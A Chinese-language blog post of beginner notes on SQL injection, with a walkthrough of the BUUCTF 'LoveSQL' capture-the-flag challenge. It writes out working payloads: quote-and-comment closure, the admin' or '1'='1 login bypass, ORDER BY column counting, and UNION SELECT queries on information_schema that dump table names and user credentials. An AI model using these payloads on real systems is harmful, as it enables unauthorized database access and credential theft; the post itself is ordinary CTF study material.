cr0fyの博客

生如夏花之灿烂,死如秋叶之静美

0%

sql注入初阶学习

目前对于sql注入的学习还存在于简单的联合注入,本文是对注入语句的一个总结

尝试语句

大部分sql语句都是

1
2
3
$id=$_GET['id'];

$sql=SELECT * FROM users WHERE id='$id'

这个形式只需要id=1’# 或者 id=1’–+ 或者id=1’’

对于$id,其中 ‘ 是为了闭合sql语句中第一个 ‘ ,形成’1’,而#和–+是为了把后面的引号注释掉,也可以再加一个引号将其闭合

形成

1
SELECT * FROM users WHERE id='1'#'

最终识别的就是查询id=1的内容

也可以尝试一下万能密码

1
admin' or '1' =  '1

说不定有惊喜

再这里举个例子,BUUCTF中的[极客大挑战 2019]LoveSQL

爆字段数

1
1' order by 1 #

当输入到1’ order by 4 #后报错

Alt text

说明只有3个字段数

联合注入

回显定位

1
1' union select 1,2,3; #

Alt text

回显定位显示再2和3上可以使用sql语句

查数据库

1’ union select 1,database(),3#

image-20211116185722060

database()函数可以显示他依赖的数据库

或者可以查询所有的数据库名自己判断

1
1' union select 1,group_concat(schema_name),3 from information_schema.schemata#

image-20211116190234533

爆数据表

1
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

或者

1
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=geek#

image-20211116190401811

有两个数据表

爆字段

分别对它们进行查询

1
2
3
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'

image-20211116190739835

两个都是这个

爆破数据

1
2
3
1' union select 1,2,group_concat(id,username,password) from geekuser#

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

最终查询到flag在l0ve1ysq1数据表中

image-20211116191123002

文字有点长,可以缩小屏幕或者看源代码得到flag

image-20211116191205681

本题是作为无过滤联合查询的经典例子使用